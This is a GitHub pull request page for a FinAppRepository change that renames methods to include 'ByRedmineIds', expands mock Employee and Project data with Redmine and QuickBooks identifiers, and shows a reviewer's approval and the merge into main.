These changes improve code clarity and maintainability while ensuring robust error reporting for employee and project data retrieval.
- Updated method names in FinAppRepository and IFinAppRepository to better reflect their functionality by including 'ByRedmineIds'.
- Adjusted corresponding test cases to ensure consistency with the new method names.
- Enhanced error messages in the repository methods to provide clearer context during failures.

These changes improve code readability and maintainability by making method purposes more explicit.
…adjustments

- Expanded mock data for Employee and Project interfaces to include additional fields such as name, sorting, and timestamps.
- Updated test cases in FinAppRepository to reflect changes in project IDs from 2 to 550, ensuring consistency with the new mock data.
- These modifications improve the accuracy of tests and better simulate real-world scenarios for the FinAppRepository functionality.
- Introduced `redmine_id` to the Employee interface to link users to their corresponding Redmine accounts.
- Added `redmine_id` and `quick_books_id` to the Project interface for better integration with Redmine and QuickBooks Online.
- These enhancements improve the data structure by providing necessary identifiers for external system integration.
Copy link

sonarqubecloud bot commented Jun 9, 2025

@anatolyshipitz anatolyshipitz requested a review from killev June 9, 2025 14:39
Copy link
Contributor

@killev killev left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Looks good

@anatolyshipitz anatolyshipitz merged commit e716317 into main Jun 9, 2025
12 checks passed
@anatolyshipitz anatolyshipitz deleted the feature/add-fin-app-repo branch June 9, 2025 16:33
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

Successfully merging this pull request may close these issues.

2 participants